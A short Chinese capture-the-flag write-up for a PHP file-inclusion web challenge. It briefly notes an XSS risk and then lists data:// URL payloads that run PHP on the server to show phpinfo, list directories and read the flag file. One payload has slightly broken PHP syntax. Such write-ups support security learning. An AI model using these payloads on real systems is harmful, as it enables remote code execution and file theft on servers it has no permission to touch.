32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
white-persist2 分钟前
【CTF线下赛 AWD】AWD 比赛全维度实战解析:从加固防御到攻击拿旗
网络·数据结构·windows·python·算法·安全·web安全
硬件yun2 分钟前
揭秘MOST:汽车影音的光纤高速公路
学习
程序员夏末4 分钟前
【LeetCode | 第五篇】算法笔记
笔记·学习·算法·leetcode
民乐团扒谱机6 分钟前
【读论文】基于学习的利用内置加速度计的实用智能手机窃听技术
深度学习·网络安全·智能手机·加速度计·窃听技术·运动传感器
RDCJM14 分钟前
Neo4j图数据库学习(二)——SpringBoot整合Neo4j
数据库·学习·neo4j
QWQ___qwq6 小时前
Java线程安全深度总结:基本类型与引用类型的本质区别
java·安全·面试
码农的小菜园8 小时前
gradle常用指令使用笔记
笔记
鸟电波9 小时前
硬件笔记——示波器篇
笔记
Don.TIk9 小时前
SpringCloud学习笔记
笔记·学习·spring cloud
yy55279 小时前
系统安全及应用
安全·系统安全